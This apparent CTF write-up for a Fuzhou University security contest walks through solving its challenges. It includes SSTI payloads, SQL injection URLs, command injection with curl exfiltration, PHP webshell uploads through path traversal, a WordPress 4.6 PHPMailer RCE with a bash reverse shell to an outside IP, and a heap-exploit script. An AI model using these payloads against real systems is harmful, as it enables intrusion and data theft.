校赛题解 MooSe 2024-05-01 2024-07-09 第八届福州大学信息安全竞赛WP Web can_u_find_me? 源码几处比较关键的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 blacklist = ['_' , '[' , 'globals' , 'url_for' , 'count' , 'length' , 'init' , 'request' , 'builtins' , 'select' , 'dict' , '(' , 'join' , 'import' , 'os' , '{' , 'open' , 'eval' , 'set' , '%' , 'for' , 'class' , '\'' , '\"' , 'chr' , 'attr' , '|' ] def waf (s ): for i in blacklist: if i in s.split('/' )[-1 ]: return s + '?hacker' return render_template_string(s) @app.errorhandler(404 ) def page_not_found (e ): url = waf(request.url) return render_template('404.html' , error_page=url), 404
waf()
中有一个危险函数,render_template_string(s)
,也就是说,我们进入到一个不存在的url中,页面会渲染当前的url到模板中,很明显的SSTI
这个黑名单真的是拉满了,{
直接被禁掉了,所以绕过这个waf
是没用戏的,但注意到 if i in s.split('/')[-1]:
,发现黑名单只匹配从右到左第一个/
后的内容,如果url
为/{{7*7}}/
,此时中间这个{{7*7}}
是并不会被waf检测的
后面就可以尽情的SSTI了,查看已有的类(回显回来发现都被html实体字符编码过了,复制到本地,新建个html再打开本地html就可以了),利用我写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 SSTI_dict = { "warnings.catch_warnings": ".__init__.__globals__['__builtins__']['eval']('7*7')", "WarningMessage": ".__init__.__globals__['__builtins__']['eval']('7*7')", "codecs.IncrementalEncoder": ".__init__.__globals__['__builtins__']['eval']('7*7')", "codecs.IncrementalDecoder": ".__init__.__globals__['__builtins__']['eval']('7*7')", "codecs.StreamReaderWriter": ".__init__.__globals__['__builtins__']['eval']('7*7')", "reprlib.Repr": ".__init__.__globals__['__builtins__']['eval']('7*7')", "weakref.finalize": ".__init__.__globals__['__builtins__']['eval']('7*7')", "os._wrap_close": { "eval": ".__init__.__globals__['__builtins__']['eval']('7*7')", "os1": ".__init__.__globals__['popen']('ls /').read()", "os2": ".__init__.__globals__['system()']('sleep 5')" }, "_frozen_importlib.BuiltinImporter": '["load_module"]("os")["popen"]("ls /").read()', "subprocess.Popen": "('ls /',shell=True,stdout=-1).communicate()[0].strip()" } def parse_custom_input(input_str): # 删除两边的方括号 input_str = input_str.strip('[]') # 按照逗号分割字符串 items = input_str.split(', ') # 去除每个元素两边的尖括号和class关键字 parsed_items = [item.strip("<>").split("'")[1] if len(item.strip("<>").split("'")) > 1 else item.strip("<>") for item in items] return parsed_items def find_matches_and_print(input_list, SSTI_dict): for custom_key, custom_values in SSTI_dict.items(): # 迭代字典的键和值 for index, item in enumerate(input_list): if custom_key == item: # 使用字典的键进行匹配 # 检查custom_values是否为字典 if isinstance(custom_values, dict): # 如果是字典, 则迭代这个字典 print("\033[34m***************************************************\033[0m\n" f"匹配到可用类:{custom_key}") for sub_key, sub_value in custom_values.items(): print( f"Playroad:\"\".__class__.__bases__[0].__subclasses__()[{index}]{sub_value}") else: # 不是字典, 直接打印 print("\033[34m***************************************************\033[0m\n" f"匹配到可用类:{custom_key}\n" f"Playroad:\"\".__class__.__bases__[0].__subclasses__()[{index}]{custom_values}") # 用户输入提示 input_str = input("直接粘贴返回的一个基类列表,例如: [<class 'type'>, <class 'weakref'>]: \n") # 解析用户输入 parsed_input_list = parse_custom_input(input_str) # 查找匹配项并打印 find_matches_and_print(parsed_input_list, SSTI_dict)
最后可用的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 *************************************************** 匹配到可用类:warnings.catch_warnings Playroad:"".__class__.__bases__[0].__subclasses__()[206].__init__.__globals__['__builtins__']['eval']('7*7') *************************************************** 匹配到可用类:codecs.IncrementalEncoder Playroad:"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('7*7') *************************************************** 匹配到可用类:codecs.IncrementalDecoder Playroad:"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('7*7') *************************************************** 匹配到可用类:codecs.StreamReaderWriter Playroad:"".__class__.__bases__[0].__subclasses__()[129].__init__.__globals__['__builtins__']['eval']('7*7') *************************************************** 匹配到可用类:reprlib.Repr Playroad:"".__class__.__bases__[0].__subclasses__()[172].__init__.__globals__['__builtins__']['eval']('7*7') *************************************************** 匹配到可用类:weakref.finalize Playroad:"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']('7*7') *************************************************** 匹配到可用类:os._wrap_close Playroad:"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']('7*7') Playroad:"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['popen']('ls /').read() Playroad:"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['system()']('sleep 5') *************************************************** 匹配到可用类:_frozen_importlib.BuiltinImporter Playroad:"".__class__.__bases__[0].__subclasses__()[107]["load_module"]("os")["popen"]("ls /").read() *************************************************** 匹配到可用类:subprocess.Popen Playroad:"".__class__.__bases__[0].__subclasses__()[519]('ls /',shell=True,stdout=-1).communicate()[0].strip()
最后构造出来的playload:
1 http://124.70.99.199:20015/{{"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['popen']('ls${IFS}/').read()}}/
这里有个坑就是,执行的命令不能有空格 ,需要用${IFS}
替代空格
吃掉小土豆 使用了下题目中给的网站,还挺好用的
这么长的代码没头猪?https://xcheck.tencent.com/index也许可以帮到你
找到一处并没有预处理的SQL查询语句,再进源码看一下,这段的详细代码
1 2 3 4 5 6 7 8 9 10 11 12 $score_sql = "SELECT `score`,`time`,`attempts` FROM " . $ranking . " where name='" . $_SESSION ['name' ] . "'" ; $score_result = $link ->query ($score_sql ); if ($score_result ) { $score_row = $score_result ->fetch_assoc (); if ($score_row ){ echo strtr ($i18n ["self-record" ], array ("{name}" => $_SESSION ['name' ], "{attempts}" => $attempts , "{score}" => $score , "{time}" => $time )); }else { echo strtr ($i18n ["no-self-record" ], array ("{name}" => $_SESSION ['name' ])); } } else { echo $link ->error; }
发现,如果这个语句查询报错的话,是会打印出报错内容的,此时我们使用报错注入(在使用报错注入前尝试了下联合注入,发现并不能回显出数值),构造出playload:
http://121.43.34.239:20010/rank.php?name=' and(select extractvalue("anything",concat('~',(select * from secret)))) --+
但发现查出来的flag并没用显示全,再使用substr()
函数进行截取,获取剩下部分的playload:
http://121.43.34.239:20010/rank.php?name=' and(select extractvalue("anything",concat('~',(substr((select * from secret),25,30))))) --+
组合起来
FCTF{code_r3view_1s_imp0rtant_t0_web_security}
,这么长的flag选择盲注的孩子有福了
ping一下~ 盲猜是RCE,输入baidu.com;sleep 5
,发现确实在5秒以后返回了结果,能够进行rce
这题出的奇奇怪怪的,居然ping的内容不回显 ,反而回显第二个语句
其实可以不看代码盲测的,playload为baidu.com;cat /flag
,页面直接回显出来FCTF{Ez_Cmd_Injection}
刚开始做的时候,直接输入baidu.coM
没用任何回显 ,还以为是无回显rce,就构造了
1 baidu.com|curl http://47.xx.xx.xx:10433/?`cat /flag|base64`
然后真正无回显的被你们玩坏了的ping
就秒了
rce原因:在ping后直接拼接用户输入的内容,没有进行任何过滤
1 2 3 4 if request.method == 'POST': hostname = request.form['hostname'] cmd = "ping -c 3 " + hostname output = os.popen(cmd).read()
被你们玩坏了的ping 与上一题不一样的是
1 2 3 4 5 ## ping一下~ return render_template('index.html', output=output) ## 被你们玩坏了的ping return render_template('index.html', output='网站被玩坏了可恶。。。维修中~')
第二题无回显,但还是可以rce
构造了的playload为:
1 baidu.com|curl http://47.xx.xx.xx:10433/?`cat /flag|base64`
然后真正无回显的被你们玩坏了的ping
就秒了
坑点:用ls命令的时候目录直接有空格导致只会出现第一个目录,所以需要base64编码一下
Potato_Netdisk 这个网盘可以上传多文件,但在处理多文件上传的逻辑中存在
1 2 3 4 5 6 7 8 if($_SERVER['REQUEST_METHOD'] === 'POST'){ foreach ($_FILES['file']['tmp_name'] as $key => $tmp_name){ $dest = UPLOAD_DIR.$_FILES['file']['full_path'][$key]; validateFilePath($dest); uploadFile($tmp_name, normalizeFilePath($dest)); } }
文件目录首先经过validateFilePath($dest)
,再normalizeFilePath($dest)
,我们再细读validateFilePath($dest)
函数会发现
1 2 3 4 5 6 7 8 //阻止目录穿越 function validateFilePath($path): void { if(str_contains($path,'..'.DIRECTORY_SEPARATOR) || str_contains($path,'/var/www/html')){ http_response_code(403); die("非法上传路径!".'<br>'.$path); } }
由于此web应用跑在linux上所以str_contains($path,'..'.DIRECTORY_SEPARATOR)
匹配的是../
和/var/www/html
,再看normalizeFilePath()
函数
1 2 3 4 5 6 7 8 //处理部分Windows下$_FILE['file']['fullpath']中路径分隔符为'\' function normalizeFilePath($path): string { if(strpos($_SERVER['HTTP_USER_AGENT'], 'Windows')){ return str_replace('\\','/',$path); } return $path; }
为了实现整个文件夹的上传,需要创建,但Windows下目录分隔符会出现\\
,所以上传到linux上需要把\\
转化为/,此时我们会发现,如果目录路径中含有..\\
,最终会转化为../
并且不会被validateFilePath()
认为是非法目录,所以构造出这样的请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /dirUpload.php HTTP/1.1 Host : 121.43.34.239:20017Content-Length : 293Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://124.70.99.199:20017Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryByU3V0ftuR4GNI9WUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://124.70.99.199:20017/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : PHPSESSID=f69715urtvnj0kg45ctl72rd5e; bast-score=2.00; wordpress_test_cookie=WP+Cookie+check; username=%27%20union%20Connection : close------WebKitFormBoundaryByU3V0ftuR4GNI9W Content-Disposition: form-data; name="file[]" ; filename="\\..\\..\\var\\www\\html\\wells-200502/shell1.php" Content-Type: application/octet-stream <?php @error_reporting (0 ); eval ($_POST ['wells' ]);?> ------WebKitFormBoundaryByU3V0ftuR4GNI9W--
Potato_Netdisk_v2.0 与上一题不一样的是validateFilePath()
进行了修改,
1 2 3 4 5 6 7 function validateFilePath ($path ): void { if (str_contains ($path ,'..' .DIRECTORY_SEPARATOR) || preg_match ('/var.www.html/' ,$path )){ http_response_code (403 ); die ("非法上传路径!" .'<br>' .$path ); } }
修改为preg_match('/var.www.html/',$path)
,.
表示匹配除了\n
的任意字符,比较特殊的是在这种模式下\\
被认为一个字符,所以我们需要稍微修改一下,修改成//
,效果与/
相同
另外多添加了一个函数clean,删除除了白名单以外的所有文件
1 2 3 4 5 6 7 8 9 10 11 function cleanup ($dir ): void { global $file_whitelist ; $files = scandir ($dir ); $files = array_diff ($files ,$file_whitelist ); foreach ($files as $file ){ $path = $dir .'/' .$file ; @unlink ($path ); } }
但执行删除命令的为unlink()
函数,unlink()
函数只能删除文件不能删除目录,所以我们可以再/var/www/html
中再创建一个文件夹
所以最后的请求包为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /dirUpload.php HTTP/1.1 Host : 121.43.34.239:20018Content-Length : 287Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://121.43.34.239:20018Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryIS1c2qpYBtgyTTZ2User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://121.43.34.239:20018/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Connection : close------WebKitFormBoundaryIS1c2qpYBtgyTTZ2 Content-Disposition: form-data; name="file[]" ; filename="\\..\\..\var//www//html//wells-200502/shell2.php" Content-Type: application/octet-stream <?php error_reporting (0 );eval ($_POST ['wells' ]);------WebKitFormBoundaryIS1c2qpYBtgyTTZ2--
ezzzzzzzzz_PTA 看源码可以知道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsafe_modules = ['os', 'subprocess'] @app.route("/eval", methods=['post']) def evalCode(): code = request.form.get("code") try: # 执行代码并将控制台结果返回到输出流 stdout_cap = io.StringIO() sys.stdout = stdout_cap for unsafe_module in unsafe_modules: if "import "+unsafe_module in code or "__import__" in code: return "Unsafe module imported!" exec(code) result = "success! :" + html.escape(stdout_cap.getvalue()) sys.stdout = sys.__stdout__ except Exception as e: result = f'failed: {e}' return result
屏蔽的模块为os
模块和subprocess
模块,使用匹配进行识别是否引用
最简单的其实是print(open(‘/flag’).read()),不需要用到上述的模块,直接读取文件
success! :FCTF{it_is_much_easier_than_Your_PTA_work_isnt_it?}
另外就是使用多空格例如import os
,从而可以实现绕过,playload为
1 2 import os print(os.popen("ls").read())
再麻烦一点就是利用SSTI中的继承
PTA-max 与ez不同的是禁止的模块不同了,限制了字符的种类,而且不能包含数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 black = ["breakpoint" , "help" , "a" ] def is_nice (s ): for char in s: if char not in string.printable or char in string.digits: return False for b in black: if b in s: return False return True @app.route("/eval" ,methods=['post' ] ) def evalCode (): code = request.form.get("code" ) num = len (set (code)) if not is_nice(code) or num > 10 : return "gg" else : try : stdout_cap = io.StringIO() sys.stdout = stdout_cap eval (code) result = "success! :" + stdout_cap.getvalue() print (result) sys.stdout = sys.__stdout__ except Exception as e: result = f'failed: {e} ' return result
首先想到的是编码的方式,如培根编码等。用最少的种类的字符实现表示全部的字符,而且解码函数必须python中内置,找了一圈发现并没有找到这样的编码于是放弃
然后联想到php中无数字字母RCE等方式利用异或递增等方式进行,尝试了很久的异或,发现最后都是字符种类大于10
尝试使用递增的方式构造字符串,后面题目也给出了hint
hint:正确回答下面5个问题你就做出来了
这个是什么题目
这种题目的最基本函数是什么
用了之后你还剩下什么多少字符集
任意字符构造怎么做
没有数字?
由于我们构造的是字符串,构造出的字符串最后还需要被执行(与给出的hint的第二点相符),所以我们需要一个执行命令的函数,python中执行命令的函数有exec()
和eval()
,由于不能包含a
,所以我们使用exec()
函数
看这个题目的hint在暗示我们需要用数字来构造出任意字符 ,由于python中字符串不能直接加上数字,此时我们需要使用chr()
函数和直接将数字转化为字符,并使用+
号来连接,此时我们已经用了8个字符了,剩下2个字符可以让我们进行构造出数字
如果可以使用数字,那么playload为:
1 exec(chr(1+1+...+1)+chr(1+1+...+1)+...+char(1+1+...+1))
此时我们需要想出一个办法能够构造出替换1的东西,且只利用额外的两个字符,一开始是想已利用的字符能不能有其他函数得到他们的返回值为1的情况,发现好像不太行,于是想到了bool
类型,一般情况下True
的值为1,所以我们可以利用==
这个关系符得到布尔值,此时我们可以用字符串进行比较,使用"e"
(e已经在前面被利用过了),加上最后的“
刚好十种字符
playload生成脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def ascii_to_custom_expr_no_space(input_string): result_expr = '' for char in input_string: # 获取字符的ASCII值 ascii_value = ord(char) # 构造 'c'=='c' 表达式,匹配ASCII值(注意去除了空格) char_expr = "+".join(["('c'=='c')"] * ascii_value) # 使用chr()函数,并将表达式添加到结果字符串 if result_expr: result_expr += "+" result_expr += f"chr({char_expr})" return result_expr # 测试脚本 input_string = "print(open('/flag').read())" custom_expr_no_space = ascii_to_custom_expr_no_space(input_string) print(custom_expr_no_space)
即可得到flag
ROIIS_blog 上来就看到了WordPress
大胆猜测就是WordPress的框架漏洞,先要找到WordPress的版本
查到在WordPress下有个/readme.html
,里面会写明版本号-4.6
然后直接搜索WordPress 4.6
出现了个wordpress 4.6任意命令执行漏洞
,跟着网上复现的教程一步一步操作
wordpress<=4.6版本任意命令执行漏洞 - ctrl_TT豆 - 博客园 (cnblogs.com) 、WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析 | ssooking’s notebook
漏洞成因:(博客中摘抄下来的,似懂非懂)
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
特别点:
1 2 3 执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。 该命令将转换为小写字母 命令需要使用绝对路径
payload转换规则:
1 2 1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替 2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
由于该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面,我们需要反弹shell
首先是要找到存在用户的账户(这里我卡了半天。。。。。。。。。。。。一直在尝试admin)
最后点进第一篇文章发现有作者,大概率这个作者就是用户名,验证后发现确实是
复现的过程中需要用到服务器,用于下载反弹shell的命令
准备反弹shell的文件内容(a.txt
)
1 bash -i >& /dev/tcp/47.97.120.228/10433 0>&1
最后构造出来的两个请求包
下载反弹shell的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /wp-login.php?action=lostpassword HTTP/1.1 Host : edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)Content-Length : 88Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://121.43.34.239:20009Content-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://121.43.34.239:20009/wp-login.php?action=lostpasswordAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : wordpress_test_cookie=WP+Cookie+checkConnection : closeuser_login= Potat0 w0 &redirect_to= &wp-submit= %E8 %8 E%B7 %E5 %8 F%96 %E6 %96 %B0 %E5 %AF %86 %E7 %A0 %81
执行a.txt反弹shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /wp-login.php?action=lostpassword HTTP/1.1 Host : edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}47.97.120.228${substr{0}{1}{$spool_directory}}a.txt}} null )Content-Length : 88Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://121.43.34.239:20009Content-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://121.43.34.239:20009/wp-login.php?action=lostpasswordAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : wordpress_test_cookie=WP+Cookie+checkConnection : closeuser_login= Potat0 w0 &redirect_to= &wp-submit= %E8 %8 E%B7 %E5 %8 F%96 %E6 %96 %B0 %E5 %AF %86 %E7 %A0 %81
Misc 签到题 看视频领flag
爬山
WHAT???
首先处理SNOW.png 图片中隐藏的信息
用WinHex打开图片
AE 42 60 82
是标准的png文件的文件尾
可见该文件多出了一部分信息,提取出来
1 EE-aE8608!GYLeI9Lj"h2.BHYDcK4b<*!%76r5R.
解密后得到一个字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 使用方法: Options(选项) -C 如果隐藏,则压缩数据,或者如果提取,则会解压缩。 -Q 静音模式。如果未设置,则程序报告统计信息,例如压缩百分比和可用存储空间的数量。 -S 报告文本文件中隐藏消息的近似空间量。考虑线长度,但忽略其他选项。 -p password 如果设置为此,则在隐藏期间将使用此密码加密数据,或在提取期间解密。 -l line-length 在附加空格时,Snow将始终产生比此值短的线条。默认情况下,它设置为80。 -f message-file 此文件的内容将隐藏在输入文本文件中。 -m message-string 此字符串的内容将被隐藏在输入文本文件中。请注意,除非在字符串中包含一个换行符,否则在提取邮件时,否则不会打印换行符。
将要解密的txt文件与解压的文件放在同一个文件夹中
先创建一个flag.txt ,原来存放解密后的flag
1 ⠠⠋ ⠠⠉ ⠠⠞ ⠠⠋ ⠪ ⠼⠊ ⠁ ⠑ ⠼⠋ ⠼⠉ ⠼⠃ ⠼⠙ ⠼⠊ ⠃ ⠼⠛ ⠼⠊ ⠉ ⠼⠊ ⠉ ⠼⠙ ⠼⠛ ⠙ ⠼⠉ ⠼⠙ ⠉ ⠙ ⠼⠑ ⠼⠓ ⠼⠃ ⠑ ⠃ ⠁ ⠃ ⠼⠑ ⠼⠁ ⠻
完蛋,我被黑客包围了! 打开附件发现是流量分析题目,附件的名字为sql3.pcapng
,大概率和sql注入有关系
用Wireshark打开,查看HTTP协议的内容
点开一个POST请求查看表单内容
1 1'/**/or/**/ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1), 1,1))=117 #
发现是很明显的SQL注入中的布尔注入 ,不断截取字符串。跟着这个请求一直走下去查找到一个最终页面成功的相应包,查看响应包内容的长度
使用不同颜色把对应长度的所有相应包标记出来,查看请求包所对应字符串的长度以及ASCII码,最后转化为字母
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 70 -> F 67 -> C 84 -> T 70 -> F 123 -> { 79 -> O 104 -> h 95 -> _ 77 -> M 121 -> y 95 -> _ 112 -> p 97 -> a 115 -> s 115 -> s 119 -> w 100 -> d 33 -> ! 33 -> ! 33 -> ! 125 -> }
最终flag为:FCFT{Oh_my_passwd!!!}
PWN paint
保护全开
首先看版本是2.35,大部分堆手法都失效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(a1, a2, a3); puts ("Welcome to BuggyPaint!" ); while ( 1 ) { menu1(); menu2(); v4 = -1 ; __isoc99_scanf("%d" , &v4); getchar(); switch ( v4 ) { case 1 : creat(); break ; case 2 : delete(); break ; case 3 : select(); break ; case 4 : edit(); break ; case 5 : show(); break ; default : puts ("Invalid option" ); return 0LL ; } } }
一个常规菜单堆的形式,主要有创建,删除,选择,编辑选择的堆,显示堆,五种功能
它主要的漏洞点在于delete的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 sub_19A6 () { unsigned __int64 v1; unsigned __int64 v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("x: " ); __isoc99_scanf("%lu" , &v1); printf ("y: " ); __isoc99_scanf("%lu" , &v2); if ( v1 <= 0x1F && v2 <= 0x1F ) { if ( qword_4060[32 * v1 + v2] ) { free (*(void **)(qword_4060[32 * v1 + v2] + 0x28 LL)); free ((void *)qword_4060[32 * v1 + v2]); qword_4060[32 * v1 + v2] = 0LL ; } else { puts ("Empty cell" ); } } else { puts ("Bad coordinates" ); } return v3 - __readfsqword(0x28 u); }
他没有将堆里的堆指针置零,存在一个uaf,然后配合select,edit,show就能打出修改uaf堆的操作
但是在版本>=2.29就存在对tcache的next指针进行加密,但是加密的算法并不困难,因此next指针可控,而key的判断一般只会对double free的指针产生check,因此对于控制next指针进行任意地址读并不会有什么check
之后便要想着泄露libc基址,因为在creat函数中,其中内容堆的大小是可控的,因此便可以打出unsortedbin泄露fd和bk以次泄露libc基址的操作
而泄露了libc基址,就要想他要在什么位置写,然而正常来说我们会改hook或者got表,然后在高版本hook被清除(即使能够在本地找到该地址,但是他是无用的),而保护又全开了,使得改got表的计划破产
而我们要怎么办呢 ,这时候就想到__environ
环境变量可以通过libc+偏移得出,而其上的地址与stack的偏移是固定的,因此我们只需要泄露stack基址,就能改ret地址,实现rop,同时还可以通过stack基址,找出code的基址
但是elf文件的gadget已经被清除得差不多,因此只能使用libc的gadget,那么思路就差不多这样
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 from pwn import *sh=remote('114.116.233.171' ,10001 ) libc=ELF('./libc.so.6' ) sla = lambda x,y : sh.sendlineafter(x,y) sa = lambda x,y : sh.sendafter (x,y) ru = lambda x : sh.recvuntil (x) al = lambda x : sh.sendline (x) def calc_heap (addr ): s = hex (addr)[2 :] s = [int (x, 16 ) for x in s] res = s.copy() for i in range (9 ): if 3 +i < len (res): res[3 +i] ^= res[i] else : break res_str = "" .join([hex (x)[2 :] for x in res]) return int (res_str, 16 ) def encrypt (next ,next_addr ): temp=next_addr>>12 return (temp^next ) def add (x,y,width,high,content ): sla(b'> ' ,b'1' ) sla(b'x: ' ,str (x).encode()) sla(b'y: ' ,str (y).encode()) sla(b'width: ' ,str (width).encode()) sla(b'height: ' ,str (high).encode()) sla(b'color(1=red, 2=green): ' ,b'1' ) sla(b'content: ' ,content) def delete (x,y ): sla(b'> ' ,b'2' ) sla(b'x: ' ,str (x).encode()) sla(b'y: ' ,str (y).encode()) def debug (): gdb.attach(sh) pause() def se (x,y ): sla(b'> ' ,b'3' ) sla(b'x: ' ,str (x).encode()) sla(b'y: ' ,str (y).encode()) def edit (content ): sla(b'> ' ,b'4' ) sla(b'New content: ' ,content) def show (): sla(b'> ' ,b'5' ) p=b'a' i=1 for i in range (8 ): add(1 ,i,16 ,16 ,p) info(f"the {i} chunk" ) i=1 se(1 ,7 ) add(2 ,1 ,1 ,1 ,p) for i in range (8 ): delete(1 ,i) info(f"the {i} chunk" ) show() sh.recvuntil(b'Box content:\n' ) leak_addr=u64(sh.recv(6 ).ljust(8 ,b'\x00' )) info(f'the leak addr:{hex (leak_addr)} ' ) libc_base=leak_addr-0x219CE0 free_hook=leak_addr+0x67C8 info(f'free_hook:{hex (free_hook)} ' ) for i in range (8 ): add(1 ,i,16 ,16 ,p) info(f"the {i} chunk" ) se(1 ,2 ) delete(1 ,1 ) delete(1 ,2 ) delete(1 ,3 ) show() sh.recvuntil(b'Box content:\n' ) heap_leak=u64(sh.recv(8 )) info(f'heap_leak:{hex (calc_heap(heap_leak))} ' ) heap_base=calc_heap(heap_leak)-0x970 info(f'heap_base:{hex (heap_base)} ' ) key=u64(sh.recv(8 )) info(f'key is: {hex (key)} ' ) next_addr=heap_base+0x820 malloc_hook=libc_base+0x2204A0 stack_leak=libc_base+libc.symbols['__environ' ] victim_heap=heap_base+0xBC0 pal=p64(encrypt(victim_heap,next_addr))+p64(key) victim_pal=p64(0 )+p64(0x41 )+p64(1 )+p64(7 )+p64(heap_base)+p64(0x10 )+p64(0x10 )+p64(stack_leak)+p64(0 )+p64(0x111 ) one_gadget=libc_base+0xebc85 edit(pal) info(f'the pal:{pal} ' ) info(f'the addr:{hex (victim_heap)} ' ) add(1 ,1 ,16 ,16 ,p) add(1 ,2 ,16 ,16 ,p) add(1 ,3 ,16 ,16 ,p) se(1 ,3 ) edit(victim_pal) se(1 ,7 ) show() sh.recvuntil(b'Box content:\n' ) stack_addr=u64(sh.recv(6 ).ljust(8 ,b'\x00' )) info(f'stack_addr:{hex (stack_addr)} ' ) ret_addr=stack_addr-2464 +0x880 next_addr=heap_base+0x430 info(f'the ret_addr:{hex (ret_addr)} ' ) info(f'next_addr:{hex (next_addr)} ' ) se(1 ,3 ) victim_pal=p64(0 )+p64(0x41 )+p64(1 )+p64(7 )+p64(heap_base)+p64(0x10 )+p64(0x10 )+p64(ret_addr)+p64(0 )+p64(0x111 ) edit(victim_pal) se(1 ,7 ) show() sh.recvuntil(b'Box content:\n' ) sh.recv(17 ) code_base=u64(sh.recv(8 ))-0xDB6 info(f'code_base:{hex (code_base)} ' ) syscall_ret=0x0000000000091316 +libc_base pop_rdi_ret=0x000000000002a3e5 +libc_base pop_rax_pop_rbx_pop_rbp_ret=0x0000000000147d18 +libc_base pop_rdx_pop_rcx_pop_rbx_ret=0x0000000000108b03 +libc_base system = libc_base+libc.symbols['system' ] ret_addr=0x01a +code_base pop_rbp_ret=0x000000000000293 +code_base binsh_addr=libc_base+0x00000000001d8698 info(f'one_gadget:{one_gadget} ' ) 